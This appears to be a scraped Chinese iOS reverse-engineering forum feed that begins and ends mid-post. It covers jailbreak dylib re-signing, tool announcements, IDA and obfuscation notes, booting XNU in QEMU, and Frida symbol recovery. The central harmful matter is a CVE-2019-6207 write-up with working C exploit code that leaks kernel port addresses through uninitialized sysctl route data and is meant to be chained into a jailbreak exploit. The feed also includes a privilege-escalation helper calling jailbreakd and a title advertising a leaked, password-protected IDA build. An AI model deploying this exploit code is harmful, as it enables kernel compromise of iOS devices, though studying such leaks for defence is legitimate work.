	/usr/lib/libsubstrate.dylib: code signing blocked mmap() of '/usr/lib/libsubstrate.dylib'
Abort trap: 6

0x04 解决/usr/lib/libsubstrate.dylib签名

yuzhouheike1haoji:~ root# exit
logout
Connection to 192.168.31.149 closed.
 ✘ hacker_hades@HadesdeMacBook-Pro  ~/Desktop  scp root@192.168.31.149:/usr/lib/libsubstrate.dylib ./
libsubstrate.dylib                                                                        100%   66KB   2.8MB/s   00:00
 hacker_hades@HadesdeMacBook-Pro  ~/Desktop  codesign -s "A2F872A1D9483EA7E16E6836CDF73B7917010A20" --entitlements demo.entitlements -f libsubstrate.dylib
libsubstrate.dylib: replacing existing signature
 hacker_hades@HadesdeMacBook-Pro  ~/Desktop  scp libsubstrate.dylib root@192.168.31.149:/var
libsubstrate.dylib                                                                        100%   85KB   3.3MB/s   00:00
 hacker_hades@HadesdeMacBook-Pro  ~/Desktop  !ssh
 hacker_hades@HadesdeMacBook-Pro  ~/Desktop  ssh root@192.168.31.149
Last login: Sat Sep 22 14:26:20 2018 from 192.168.31.217
yuzhouheike1haoji:~ root# mv /var/libsubstrate.dylib /usr/lib/libsubstrate.dylib
yuzhouheike1haoji:~ root# stouch
dyld: Library not loaded: /usr/lib/libsubstitute.0.dylib
  Referenced from: /usr/lib/libsubstrate.dylib
  Reason: no suitable image found.  Did find:
	/usr/lib/libsubstitute.0.dylib: code signing blocked mmap() of '/usr/lib/libsubstitute.0.dylib'
	/usr/lib/libsubstitute.0.dylib: code signing blocked mmap() of '/usr/lib/libsubstitute.0.dylib'
Abort trap: 6

0x05 解决/usr/lib/libsubstitute.0.dylib签名问题

yuzhouheike1haoji:~ root# exit
logout
Connection to 192.168.31.149 closed.
 ✘ hacker_hades@HadesdeMacBook-Pro  ~/Desktop  scp root@192.168.31.149:/usr/lib/libsubstitute.0.dylib ./
libsubstitute.0.dylib                                                                     100%  104KB   4.1MB/s   00:00
 hacker_hades@HadesdeMacBook-Pro  ~/Desktop  codesign -s "A2F872A1D9483EA7E16E6836CDF73B7917010A20" --entitlements demo.entitlements -f libsubstitute.0.dylib
libsubstitute.0.dylib: replacing existing signature
 hacker_hades@HadesdeMacBook-Pro  ~/Desktop  scp libsubstitute.0.dylib root@192.168.31.149:/var
libsubstitute.0.dylib                                                                     100%  124KB   1.9MB/s   00:00
 hacker_hades@HadesdeMacBook-Pro  ~/Desktop  !ssh
 hacker_hades@HadesdeMacBook-Pro  ~/Desktop  ssh root@192.168.31.149
Last login: Sat Sep 22 14:29:17 2018 from 192.168.31.217
yuzhouheike1haoji:~ root# mv /var/libsubstitute.0.dylib /usr/lib/libsubstitute.0.dylib
yuzhouheike1haoji:~ root# stouch
[Usage]
 1. Touch:
    stouch touch x y [orientation]

 2. Swipe:
   stouch swipe fromX fromY toX toY [duration(0.3)] [orientation]

 3. Button:
    stouch button Type State

[Example]
   # stouch touch 50 100
   # stouch swipe 50 100 100 200 0.5
   # stouch button 0 1
   # stouch button 1 0

[Orientation]
    Portrait:1 UpsideDown:2 Right:3 Left:4

[Button]
    Power:0 Home:1

[State]
    Up/Raise:0 Down/Press:1

yuzhouheike1haoji:~ root#

0x06 问题解决了那么问题来了就没有简单点儿的解决办法吗。。

0x07 然而事情还是没有完

0x08 使用YZHK提权: YZHK stouch touch 50 100

#include <spawn.h>

int  main(int argc, char *argv[], char *envp[])
{
    if (argc < 2)
    {
   fprintf(stderr, "usage: %s program args...\n", argv[0]);
       
       return EXIT_FAILURE;
    }
    
    int ret, status;
    pid_t pid;
    posix_spawnattr_t attr;
    
    posix_spawnattr_init(&attr);
    posix_spawnattr_setflags(&attr, POSIX_SPAWN_START_SUSPENDED);
    
    ret = posix_spawnp(&pid, argv[1], NULL, &attr, &argv[1], envp);
    
    posix_spawnattr_destroy(&attr);
    
    if (ret != 0)
    {
        printf("posix_spawnp failed with %d: %s\n", ret, strerror(ret));
        return ret;
    }
    
    char buf[200];
    
    snprintf(buf, sizeof(buf), "/electra/jailbreakd_client %d 1", pid);
    system(buf);
    
    kill(pid, SIGCONT);
    waitpid(pid, &status, 0);
    
    return 0;
}

0x09 解决MessagePort is invalid问题

  • reboot即可

0x10 好了做完上面的,发现手机并没有被点击…

0x11 查看日志,

Posts: 44

Participants: 12

Read full topic

Messier - 简单易用的Objective-C方法跟踪工具

$
0
0

@everettjf wrote:

Messier 可以用来跟踪iOS应用的Objective-C方法调用。在越狱设备上可以跟踪任意应用,在非越狱设备上也可用于跟踪调试中的应用。

背景

一般情况下使用Instruments(主要是Time Profiler)进行iOS 应用的性能分析就足够了,但是Time Profiler 把调用方法都合并了起来,失去了时序的表现。直到有一天看到Android开发的同事使用 systrace 分析性能,systrace生成一个html文件,把函数(方法)的调用耗时按照先后顺序表现出来。心里想:要是iOS也有这样的工具就好了。了解到这个html文件是 catapult 生成的。

一天看到iosre论坛一篇hook objc_msgSend的帖子。突然想到,可以结合catapult来生成Objective C方法的性能分析图(暂且这么叫吧)。(虽然一直也有hook objc_msgSend的方法,但这次煮好的佳肴终于忍不住下手了)。

于是经过一番努力,AppleTrace 于2017年9月份诞生了。在使用AppleTrace的过程中,我曾经写过四篇文章介绍他:

  1. AppleTrace 性能分析工具
  2. AppleTrace 搭配 MonkeyDev Trace任意App
  3. 使用 Cydia 安装 AppleTrace Tweak
  4. 使用AppleTrace探索SpringBoard

在使用AppleTrace的过程中,感受到AppleTrace还不够简单易用,尤其是:

  1. 不能在视觉感受上定义开始和结束点。例如点击某个按钮之前开始Trace,按钮点击完成后停止Trace。
  2. 获取trace文件太麻烦,需要手动从沙盒复制出来,然后执行merge.py,再执行trace2html(可选),最后打开trace文件。

当工作只需要Trace某一个应用时,AppleTrace几乎满足了要求,然而当好奇心增强,想看越来越多的应用时,啰嗦的“手动”操作就有点麻烦了。

Messier 诞生

为了解决AppleTrace的易用性问题,我在AppleTrace的基础上开发了Messier应用(官方网站 https://messier.app/)。使用Messier可以方便的在越狱设备上Trace任意应用,且能更方便的在视觉上自定义Trace的开始点和结束点。

Messier由三个部分组成。

  1. Tweak(越狱插件)
  2. Dylib(动态库 messier.framework)
  3. 桌面端(Messier.dmg)

下面是相关截图:

最新Build

最新Build的文件在这里下载

使用方法

第一步,安装macOS客户端

这里 下载安装最新的macOS客户端 Messier.dmg

第二步,越狱设备配置

(1)安装

  1. 打开 Cydia.
  2. 点击 Sources -> Edit -> Add.
  3. 输入 https://messier.app/cydia , 点击 Add Source. 重新加载后会看到 Messier Repo.
  4. 进入 Messier Repo, 安装Tweak Messier. (注意:Messier tweak 依赖 PreferenceLoaderAppList,所以需要先确保这两个Tweak已经安装)

(2)配置

打开系统的设置,向下滑动可以看见Messier(Developer下面),点击进入即可开始配置,如下图。

Enabled Applications 打开后如下图,可设置需要Trace的应用。

Trace On App Boot 配置是否在应用启动时就开始记录方法,默认启用。

Inline Hook (HookZz) 是否使用Inline Hook,默认启用。Inline Hook使用了HookZz来完成。

Main Thread Methods Only 是否只记录主现场的方法调用,默认关闭。

Disable App Applications 是否关闭所有应用的方法记录,默认关闭。若启用后,Enabled Applications的配置将失效。

第二步,非越狱设备配置

非越狱使用,就是在由自己源码或者MonkeyDev的环境下进行,需要对Xcode工程配置。

注意:首先要说明的是,目前Messier只支持arm64,因此只能使用arm64的真机

这里 下载解压后得到messier.framework

  1. 拖拽 messier.frameworkXcode Targets -> Build Phases -> Link Binary With Libraries.
  2. 点击 New Copy Files Phase 添加 Copy Files 步骤, 拖拽 messier.framework 进去 ,配置 DestinationFrameworks.

如下图配置:

这种情况下如果需要进行一些参数配置,可以在 Project Scheme -> Run -> Arguments, 设置 Environment Variables

MessierEnableOnAppBoot : true | false
MessierInlineHook : true | false
MessierMainThreadMethodsOnly : true | false

例如:

第三步,开始Trace

打开macOS客户端,此时会提示等待连接,如下图:

使用USB连接线连接iPhone和Mac电脑,打开配置好的要Trace的应用,运气好的话,应用不会Crash,并且macOS客户端会显示已经连接。(如果运气不好,应用Crash了,可以按照上文配置中的说明,关闭InlineHook)

当Trace结束,点击Stop,然后点击Fetch,如果运气好的话,一番文件传输后,会使用Finder定位到trace.json文件,如下图:

第四步,查看结果

打开Chrome浏览器(或者Chromium系列),进入chrome://tracing

image

把上一步产生的trace.json拖拽进去。

奇妙的结果诞生了。

此时,可以使用w a s d 来浏览这个文件了。详细使用方法可以点右上角的问好,如图:

支持

目前理论上支持 >= iOS10 的系统。

我只是测试了iOS10和iOS12的少部分应用的Trace,如果遇到问题,大家随时反馈。

开源和授权

开源

Messier是免费但闭源的。Messier的核心仍然是AppleTrace,因此核心仍然是开源的。除此之外,还要感谢以下三个仓库。

授权

Messier是免费的(或者半年,或者永久),使用此软件的唯一条件是:微信关注订阅号首先很有趣。这是我个人维护的订阅号,之前分享了一些iOS应用启用速度优化和逆向工程的文章,目前正在专注于《Practical Modern C++》和一些应用逆向工程的基础知识分享,未来不会设限,任何我感兴趣的内容都会分享。

image

讨论群

欢迎加群讨论 https://messier.app/group

总结

任何软件的开发都是个艰辛的过程,核心功能有了,但为了更容易的使用这个核心,周边的辅助设施代码要写很多。此次开发Messier让我感触颇深。很多软件,能用好用 真的是还要努力很多。 从0到1难,从1到100更难。

再次附上Messier的官方网站: https://messier.app/

Thank you for reading :slight_smile:

Posts: 4

Participants: 4

Read full topic

YourView开源啦,紫薯布丁。

$
0
0

@nu11 wrote:

关键功能都有了,就是粗糙了一点。

Posts: 5

Participants: 4

Read full topic

沙盒文件,UserDefaults,视图层级用Woodpecker轻松搞定

$
0
0

@woodpecker wrote:

给大家推荐下最近开发的Mac应用 Woodpecker,是一款iOS开发辅助工具,可以在Mac上访问和修改App的信息,目前的主要功能如下:

  1. 沙盒文件快速查看、编辑,支持sqlite
  2. 查看修改UserDefaults内容
  3. 查看视图层级,修改属性
  4. 监控网络请求http(s),不用设置代理
  5. 提供插件支持等

个人感觉对逆向工作也有很大帮助,使用方式和Reveal类似,只需导入一个framework即可,感兴趣的朋友可以试一试,绝大部分功能是免费的。
App Store:点击下载

Posts: 1

Participants: 1

Read full topic

Cycripter Updated By NitoTV Enabling Support on iOS 12 with Chimera (Unconfirmed on Uncover)

iOS11 cycript killed9 解决办法

$
0
0

@guxi wrote:

<dict>
    <key>platform-application</key>
    <true/>
</dict>

ldid 重新签一下就不会killed 9

Posts: 1

Participants: 1

Read full topic

懒得起标题但无论如何你也许应该看看2019版

$
0
0

@Zhang wrote:

感谢某位匿名坛友提供IDA7.3的测试协助【我也没安装包别问我要】
全贴皆在手机上完成,一些事实基于经验和推测。等我嫖到7.3会分享更详细的信息

我拿2018版的私有版Hikari测试了一下7.3,其他的功能我们并不在乎,我们在乎的是

  1. 看起来优化了跳转表识别。可能对反混淆光的idb有所帮助

相关功能原文:

我们可以看到这处疑似光的IndiBr的Demo可以被正确识别


记住,这个版本的样本用的是2018年初版本的光,这个时候私有版才刚刚开工很多完整的保护都还在不存在,比如说这里疑似光的IndiBr跳转表,由于没有加密IDA可以根据上下文还原出跳转

F5一下看的更清楚一点

  • 某些架构的Switch的检测在7.2中被修复,某些之前无法被识别的跳转也可以正确被识别。我很怀疑他们其实也修了ARM/AArch64只是忘了写,
    具体可以看Release Notes手上没有Demo可以演示这一点。

  • 海量的Swift4反编译优化。 符号名Demangle,在有异常处理机制情况下的伪代码生成等等。等我嫖到了我我会写篇新的文章

总结

  • IDA7.3 会帮助你逆向经过开源版光加密保护的二进制
  • 私有版本的光很早之前【约18年底】就预料到了这一天的到来并作了额外的保护以混淆跳转地址,等我嫖到7.3我会再写一篇基于2019/06版私有版光在IDA7.3下的对比
  • 你可能应该考虑自己也买一份IDA7.3【给我也整一个】
  • 为了保护二进制你可能应该考虑买个私有版的光【目前我并没有做好出售的准备】或者自己魔改
  • 在2019年的某个时间节点上我在某个群丢过19版光的Demo,如果你存了那个二进制而且文件名不是 Hikari某某POC 的话请务必丢给我
  • Typing a text wall on mobile makes me want to kill myself

Posts: 3

Participants: 3

Read full topic


从QEMU启动XNU

$
0
0

@Lakr233 wrote:

想看原文自己尝试的朋友可以走传送门
https://alephsecurity.com/2019/06/17/xnu-qemu-arm64-1/

想方便的体验一下功能的往下看
首先你需要准备文件:
1 ipsw
2 https://github.com/alephsecurity/xnu-qemu-arm64
3 https://github.com/Co2333/iQemu-iPsw-iPreparer

注意,目前QEMU只支持从不超过2G大小的只读磁盘镜像启动,只支持iPhone6s Plus机型。

请务必使用git clone下载仓库,然后更新子模块。QEMU的编译就不多说了。

mkdir build; cd build; ../configure; make

然后使用终端以root身份运行iemu_prep_out,请注意各类路径不要有空格,你的用户名不能有空格(鬼知道你们都会干点啥😂)如果ipsw包含多设备信息,那么准备期间可能会选择一些选项。由于要从GitHub下载脚本和iOSBinpack,请先export proxy。请注意开始操作之前强烈推荐卸载多余的磁盘避免名字重复出现空格操作失败

然后你就会得到下面这样的输出。其中iPhone6s Plus主板为n66ap

最后你会得到下面的文件列表

kernel.fout      secure_monitor.fout      file static_tc.fout      boot_image.fout      device_tree.fout

和启动指令

qemu-system-aarch64 -M iPhone6splus-n66-s8000,kernel-filename=kernel.fout,dtb-filename=device_tree.fout,secmon-filename=secure_monitor.fout,ramdisk-filename=boot_image.fout,tc-filename=static_tc.fout,kern-cmd-args="debug=0x8 kextlog=0xfff cpus=1 rd=md0 serial=2" -cpu max -m 6G -serial mon:stdio

要想启动QEMU,需要执行至少如下的编译。

cd xnu-qemu-arm64
./configure --target-list=aarch64-softmmu --disable-capstone
make -j16

最后,你会在目录下面找到我们要的QEMU

./xnu-qemu-arm64/aarch64-softmmu/qemu-system-aarch64

我们 cd 到输出目录,也就是你一开始指定的输出目录,检查文件列表是否完整,可靠。(不要出现0b的文件应该就没问题)(请一定在输出目录启动QEMU,把QEMU拖进终端)(然后剩下的参数直接复制)

Enjoy!

Darwin localhost 18.2.0 Darwin Kernel Version 18.2.0: Tue Oct 16 21:02:23 PDT 2018; root:xnu-4903.222.5~1/RELEASE_ARM64_S8000 iPhone8,2

话说XNU QEMU的contributor都800人了还只有36颗小星星哇真的可怜。。。

Posts: 5

Participants: 4

Read full topic

IDA 7.2泄漏带密码

利用 CVE-2019-6207 泄露 port address(low 4 bytes)

$
0
0

@jmpews wrote:

0. Prologue

闲时分析了下, 写了一个利用, 因为目前打 11.x - 12.1.2 的 jailbreak 只利用了 CVE-2019-6225, 有一些不稳定, 即使是 Brandon Azad 写的 voucher_swap exp 其中也存在大量的 hardcode 的内核堆布局. 尝试了下使用这个洞和 CVE-2019-6225 打一个组合拳.

很简单的一个漏洞, 分配内存后没有完全初始化, 返回用户空间导致泄露了内核 zone_map 地址空间内容.

这个洞略微有点鸡肋只能泄露低 32 位 (庆幸是低 32 位).

xnu source version: 4903.221.2

1. 漏洞点

rt_msg2:

	if (cp == NULL && w != NULL && !second_time) {
		struct walkarg *rw = w;

		if (rw->w_req != NULL) {
			if (rw->w_tmemsize < len) {
				if (rw->w_tmem != NULL)
					FREE(rw->w_tmem, M_RTABLE);
				rw->w_tmem = _MALLOC(len, M_RTABLE, M_WAITOK);
				if (rw->w_tmem != NULL)
					rw->w_tmemsize = len;
			}
			if (rw->w_tmem != NULL) {
				cp = rw->w_tmem;
				second_time = 1;
				goto again;
			}
		}
	}
/*
 * Structures for routing messages.
 */
struct rt_msghdr {
	u_short	rtm_msglen;	/* to skip over non-understood messages */
	u_char	rtm_version;	/* future binary compatibility */
	u_char	rtm_type;	/* message type */
	u_short	rtm_index;	/* index for associated ifp */
	int	rtm_flags;	/* flags, incl. kern & message, e.g. DONE */
	int	rtm_addrs;	/* bitmask identifying sockaddrs in msg */
	pid_t	rtm_pid;	/* identify sender */
	int	rtm_seq;	/* for sender to identify action */
	int	rtm_errno;	/* why failed */
	int	rtm_use;	/* from rtentry */
	u_int32_t rtm_inits;	/* which metrics we are initializing */
	struct rt_metrics rtm_rmx; /* metrics themselves */
};

rt_msg2 里使用 _MALLOC 没有携带 M_ZERO flag, 且之后对 rt_msghdr(rt_msghdr2) 的初始化中, 遗漏了对 rtm_inits 的初始化.

2. 构建 Leak Port Address Primitive

利用技巧和 CVE-2017-13865 如出一辙.

2.1. 判断 _MALLOC 使用的 zone

zone_size 可以通过 rt_msghdr->rtm_msglen 判断.

2.2. 使用 OOL PORTS MSG 填充

这里注意下过滤下 zfree_poison_elementzfree 填充的 ZP_POISON (其实不过滤也没有关系)

详细 exp 附.

3. 利用

虽然只能 leak port address 的低 32 位, 但是根据 zone_map capacity, 在非很大内存设备上已经可以根据低 32 位, 确定唯一的 zone map address.

size_t get_zone_map_capacity() {
  mach_vm_size_t zsize;
  zsize = g_hardware_info.hw_memsize >> 2;

#if defined(__LP64__)
  zsize += zsize >> 1;
#endif

  return zsize;
}

size_t get_zone_map_gc_capacity() {
  return ((get_zone_map_capacity() * zone_map_jetsam_limit) / 100);
}

通过 leak port address 可以做如下利用.

3.1. 利用 leaked port address to determine if zone gc occured

3.2. 利用 leaked port address to manipulate kernel heap better.

例如 ian beer 就利用过这个技巧, 去选择一个可以 overlap 在 mach_simple_msg_t 的 body content 的 port 作为攻击 target, 从而避免了偶然选择了落在 ipc_kmsg, max_desc 等位置.

其次如果可以完整的 leak port address 那么在 Brandon Azadvoucher_swap 利用就可以直接用 voucher_reference & voucher_release 构建一个 userspace 的 fake port

4. 与 CVE-2019-6225 打一个组合拳

5. exp


size_t leak_zone_size = 0;

int comparator(const void *a, const void *b) {
  return (*(uint32_t *)a - *(uint32_t *)b);
}
uint32_t mostFrequent(uint32_t arr[], int n) {
  // Sort the array
  // sort(arr, arr + n);
  qsort(arr, n, sizeof(uint32_t), comparator);

  // find the max frequency using linear traversal
  int max_count = 1, res = arr[0], curr_count = 1;
  for (int i = 1; i < n; i++) {
    if (arr[i] == arr[i - 1])
      curr_count++;
    else {
      if (curr_count > max_count) {
        max_count = curr_count;
        res       = arr[i - 1];
      }
      curr_count = 1;
    }
  }

  // If last element is most frequent
  if (curr_count > max_count) {
    max_count = curr_count;
    res       = arr[n - 1];
  }

  return res;
}

static void sysctl_exploit(uint8_t *buf, size_t *lenPTR) {
  int mib[6], maxproc;

  mib[0] = CTL_NET;
  mib[1] = PF_ROUTE;
  mib[2] = 0;
  mib[3] = AF_INET6;
  mib[4] = NET_RT_DUMP;
  mib[5] = 0;

  sysctl(mib, 6, buf, lenPTR, NULL, 0);
  if (!(*lenPTR)) {
    FATAL("sysctl failed");
  }
}

static void init_preprocessor() {
  uint8_t buf[4096] = {0};
  size_t buf_size   = 4096;
  sysctl_exploit(buf, &buf_size);

  struct rt_msghdr *rtm = buf;

  while (((uint64_t)rtm + rtm->rtm_msglen) <= ((uint64_t)buf + buf_size)) {
    DLOG("rtm msg length :%d\n", rtm->rtm_msglen);
    rtm = ((uint64_t)rtm + rtm->rtm_msglen);
    if (rtm->rtm_msglen == 0)
      break;
  }

  leak_zone_size = get_kalloc_zone_size(((struct rt_msghdr *)buf)->rtm_msglen);
  LOG("leak zone size select : %d", leak_zone_size);
}

uint32_t cve_2019_6207_leak_port_kern_addr_low_4_bytes(mach_port_t target_port) {
  init_preprocessor();

  size_t ports_count = leak_zone_size / sizeof(mach_port_t *);
  mach_port_t *ports = calloc(ports_count, sizeof(mach_port_t));

  for (int i = 0; i < ports_count; ++i) {
    ports[i] = target_port;
  }

  int guess_count = 50;
  uint32_t leak_4_byte_guess[guess_count];

  for (int i = 0; i < guess_count; ++i) {
    mach_port_t remote        = allocate_mach_port(MACH_PORT_RIGHT_RECEIVE, true);
    kern_return_t err  = mach_port_insert_right(mach_task_self(), remote, remote, MACH_MSG_TYPE_MAKE_SEND);
    KERN_RETURN_ASSERT(err);
    mach_ool_ports_msg_t *msg = NULL;
    mach_msg_size_t msg_size  = 0;
    gen_ool_ports_msg_placeholder(ports, ports_count, MACH_MSG_TYPE_COPY_SEND, &msg, &msg_size);

    for (int j = 0; j < 3; j++) {
      send_message(&msg->header, remote, MACH_PORT_NULL);
      msg->header.msgh_id += 1;
    }
    mach_port_destroy(mach_task_self(), remote);

    uint8_t buf[4096] = {0};
    size_t buf_size   = 4096;
    sysctl_exploit(buf, &buf_size);

    leak_4_byte_guess[i] = ((struct rt_msghdr *)buf)->rtm_inits;
  }

// filter the posion elem with `zfree_poison_element`
#define ZP_POISON 0xdeadbeef
  for (size_t i = 0; i < guess_count; i++) {
    if (leak_4_byte_guess[i] == ZP_POISON)
      leak_4_byte_guess[i] = 0;
  }

  uint32_t leak_4_bytes = mostFrequent(leak_4_byte_guess, guess_count);
  if (leak_4_bytes == 0)
    FATAL("can't found the port kern address");

  LOG("leak 4 bytes: %.4x", leak_4_bytes);
  return leak_4_bytes;
}

Posts: 3

Participants: 3

Read full topic

Frida调用栈符号恢复

$
0
0

@4chendy wrote:

Frida调用栈符号恢复

开始

搞了一阵子的Android方向的逆向研究,发现用frida去做一些hook等测试十分方便。最近自己想在iOS平台实现短视频下载去水印的问题,所以也想用frida来试试。但是测试过程中当我想去看下hook点的调用栈的时候,发现只有一些栈地址,基本没有符号信息,估计符号表被strip了。这里通常的做法就是用这些地址减去偏移然后去ida里面找到对应的方法。这样无疑是大大增加了分析的时间,想到之前解决过lldb调试器栈符号恢复方案,决定把lldb的栈符号恢复脚本移植到frida中。

如何恢复已经去掉符号表的可执行文件?

这里的符号恢复仅仅针对的是OC函数,C函数如果符号表被strip以后是没有办法恢复其符号信息的。为什么OC函数可以去做符号恢复呢?这里要涉及到macho文件的格式以及ObjectC这个语言自身设计相关。可以看到在macho文件中的_DATA数据段中有很多objc的节信息,里面保存了所有的类以及方法等元数据信息。既然如此,我们肯定能找到方法去恢复这些OC函数的符号。

OC函数符号恢复思路

首先我们只能得到一堆调用链的地址,这些地址肯定是函数里面的某个偏移地址。很容易想到这个地址往前推肯定就是这个函数的首地址及函数地址。如果我们拿到了所有函数的地址,然后每一个地址和目标地址比较,与目标地址距离最近的那个地址所对应的函数不就是我们想要的符号吗。

根据上面提到的思路,目前需要解决几个问题,怎么拿到所有OC方法的地址? 以及对应的类名和方法名?如何设计匹配算法等?

这里有两种办法:

  • 第一种是自己去解析在内存中加载的macho文件,根据macho的文件格式先找到class信息,然后找到对应的method信息,method里面就保存了IMP和方法名。之前我尝试这样去过,所有的信息都能拿到,但是由于在macho在加载到内存的时候objc动态库会做很多的初始化等工作,导致要处理一些细节问题,所以就没继续做了。
  • 第二种是利用已有的objc提供的接口objc_去拿到所有的class以及对应method的方法名和IMP。这里主要用的的API有objc_copyClassNamesForImageclass_copyMethodListobjc_getClassmethod_getImplementationmethod_getNameobjc_getClassobjc_getMetaClass

现在已经能拿到所有的类方法、方法名、方法实现地址了,接下来要解决的就是怎么通过调用栈的地址去找到对应的方法,这里的思路就是遍历所有的方法地址与调用栈的地址比较并计算距离,如果方法地址小于目标地址且距离最小,那么该方法就是我们要找到的符号。最后将调用栈上面的所有地址都进行该操作即可。

frida的js环境编写代码

由于我之前在lldb的python脚本中写过该过程代码(lldb内置的OC解释器语法要求十分严格,调试了很久的代码)

按照上面的思路理论上代码很好写,也不是很复杂。如果是直接写OC代码应该很好写,但是在frida中写这些还是挺折腾的。

主要的代码如下:

根据模块路径获取其所有的类

function getAllClass(modulePath){

	// const char * objc_copyClassNamesForImage(const char *image, unsigned int *outCount)
	var objc_copyClassNamesForImage = new NativeFunction(
		Module.findExportByName(null, 'objc_copyClassNamesForImage'),
		'pointer',
		['pointer', 'pointer']
	);
	// free
	var free = new NativeFunction(Module.findExportByName(null, 'free'), 'void', ['pointer']);
	
	// if given modulePath nil, default is mainBundle
	if(!modulePath){
		var path = ObjC.classes.NSBundle.mainBundle().executablePath().UTF8String();
	}else{
		var path = modulePath;
	}

	// create args
	var pPath = Memory.allocUtf8String(path);
	var p = Memory.alloc(Process.pointerSize);
	Memory.writeUInt(p, 0);

	var pClasses = objc_copyClassNamesForImage(pPath, p);
	var count = Memory.readUInt(p);
	var classes = new Array(count);

	for (var i = 0; i < count; i++) {
		var pClassName = Memory.readPointer(pClasses.add(i * Process.pointerSize));
		classes[i] = Memory.readUtf8String(pClassName);
	}

	free(pClasses);
	
	// XLOG(classes)
	return classes;
}

根据类名获取所有的方法信息,由于有实例方法和类方法,这里需要分别获取。

function getAllMethods(classname){
	var objc_getClass = new NativeFunction(
		Module.findExportByName(null, 'objc_getClass'),
		'pointer',
		['pointer']
	);
	var class_copyMethodList = new NativeFunction(
		Module.findExportByName(null, 'class_copyMethodList'),
		'pointer',
		['pointer', 'pointer']
	);

	var objc_getMetaClass = new NativeFunction(
		Module.findExportByName(null, 'objc_getMetaClass'),
		'pointer',
		['pointer']
	);
	
	var method_getName = new NativeFunction(
		Module.findExportByName(null, 'method_getName'),
		'pointer',
		['pointer']
	);
	
	var free = new NativeFunction(Module.findExportByName(null, 'free'), 'void', ['pointer']);
	
	// get objclass and metaclass
	var name = Memory.allocUtf8String(classname);
	var objClass = objc_getClass(name)
	var metaClass = objc_getMetaClass(name)
	
	// get obj class all methods
	var size_ptr = Memory.alloc(Process.pointerSize);
	Memory.writeUInt(size_ptr, 0);
	var pObjMethods = class_copyMethodList(objClass, size_ptr);
	var count = Memory.readUInt(size_ptr);
	
	var allMethods = new Array();
	
	var allObjMethods = new Array();
	
	// get obj class all methods name and IMP
	for (var i = 0; i < count; i++) {
		var curObjMethod = new Array();
		
		var pObjMethodSEL = method_getName(pObjMethods.add(i * Process.pointerSize))
		var pObjMethodName = Memory.readCString(Memory.readPointer(pObjMethodSEL))
		var objMethodIMP = Memory.readPointer(pObjMethodSEL.add(2*Process.pointerSize))
		// XLOG("-["+classname+ " " + pObjMethodName+"]" + ":" + objMethodIMP)
		curObjMethod.push(pObjMethodName)
		curObjMethod.push(objMethodIMP)
		allObjMethods.push(curObjMethod)
	}
	
	var allMetaMethods = new Array();
	
	// get meta class all methods name and IMP
	var pMetaMethods = class_copyMethodList(metaClass, size_ptr);
	var count = Memory.readUInt(size_ptr);
	for (var i = 0; i < count; i++) {
		var curMetaMethod = new Array();
		
		var pMetaMethodSEL = method_getName(pMetaMethods.add(i * Process.pointerSize))
		var pMetaMethodName = Memory.readCString(Memory.readPointer(pMetaMethodSEL))
		var metaMethodIMP = Memory.readPointer(pMetaMethodSEL.add(2*Process.pointerSize))
		//XLOG("+["+classname+ " " + pMetaMethodName+"]" + ":" + metaMethodIMP)
		curMetaMethod.push(pMetaMethodName)
		curMetaMethod.push(metaMethodIMP)
		allMetaMethods.push(curMetaMethod)
	}
	
	allMethods.push(allObjMethods)
	allMethods.push(allMetaMethods)
	
	free(pObjMethods);
	free(pMetaMethods);
	
	return allMethods;
}

通过调用栈地址根据最近匹配的算法去找到对应的符号信息

function findSymbolFromAddress(modulePath,addr){
	var frameAddr = addr
	
	var theDis = 0xffffffffffffffff;
	var tmpDis = 0;
	var theClass = "None"
	var theMethodName = "None"
	var theMethodType = "-"
	var theMethodIMP = 0
	
	var allClassInfo = {}

	var allClass = getAllClass(modulePath);
	
	for(var i = 0, len = allClass.length; i < len; i++){
		var mInfo = getAllMethods(allClass[i]);
		var curClassName = allClass[i]
		
		objms = mInfo[0];
		for(var j = 0, olen = objms.length; j < olen; j++){
			mname = objms[j][0]
			mIMP = objms[j][1]
			if(frameAddr >= mIMP){
				tmpDis = frameAddr-mIMP
				if(tmpDis < theDis){
					theDis = tmpDis
					theClass = curClassName
					theMethodName = mname
					theMethodIMP = mIMP
					theMethodType = "-"
				}
			}
		}

		metams = mInfo[1];
		for(var k = 0, mlen = metams.length; k < mlen; k++){
			mname = metams[k][0]
			mIMP = metams[k][1]
			if(frameAddr >= mIMP){
				tmpDis = frameAddr-mIMP
				if(tmpDis < theDis){
					theDis = tmpDis
					theClass = curClassName
					theMethodName = mname
					theMethodIMP = mIMP
					theMethodType = "+"
				}
			}
		}
	}

	symbol = theMethodType+"["+theClass+" "+theMethodName+"]"

	if(symbol.indexOf(".cxx")!=-1){
		symbol = "maybe C function?"
	}
	
	// if distance > 3000, maybe a c function
	if(theDis > 3000){
		symbol = "maybe C function? symbol:" + symbol
	}
	
	return symbol;
}

在匹配算法的最后还进行了一些判断,当解析出来的方法名包含.cxx方法的时候说明没找到符号,可能是一个C函数。当解析出来的方法地址距离目标地址距离大于3000的时候会提示可能会C函数。

最后完整的项目地址:https://github.com/4ch12dy/xia0FridaScript

测试

我这里写了一个简单的frida脚本去测试如何导入符号恢复的js脚本

#!/usr/bin/python
import frida
import sys 
import codecs
import os

PACKAGE_NAME = "cn.xiaobu.pipiPlay"

def on_message(message, data):
	try:
		if message:
			print("[JSBACH] {0}".format(message["payload"]))
	except Exception as e:
		print(message)
		print(e)

def xia0CallStackSymbolsTest():
	script_dir = os.path.dirname(os.path.realpath(__file__))
	xia0CallStackSymbolsJS = os.path.join(script_dir, 'xia0CallStackSymbols.js')
	source = ''
	with codecs.open(xia0CallStackSymbolsJS, 'r', 'utf-8') as f:
		source = source + f.read()
	
	js = '''
	if (ObjC.available)
	{
			try
			{
					//Your class name here  - ZYOperationView operationCopyLink
					var className = "ZYMediaDownloadHelper";
					//Your function name here
					var funcName = "+ downloadMediaUrl:isVideo:progress:finishBlock:";
					var hook = eval('ObjC.classes.' + className + '["' + funcName + '"]');
					Interceptor.attach(hook.implementation, {
						onEnter: function(args) {
							// args[0] is self
							// args[1] is selector (SEL "sendMessageWithText:")
							// args[2] holds the first function argument, an NSString
							console.log("[*] Detected call to: " + className + " -> " + funcName);
						
							// just call [NSThread callStackSymbols]
							var threadClass = ObjC.classes.NSThread
							var symbols = threadClass["+ callStackSymbols"]()
							console.log(symbols)
							
							// call  xia0CallStackSymbols [true:just symbolish mainModule address false:symbolish all module address]
							xia0CallStackSymbols(true);
							xia0CallStackSymbols(false);
						}
					});
			}
			catch(err)
			{
					console.log("[!] Exception2: " + err.message);
			}
	}
	else
	{
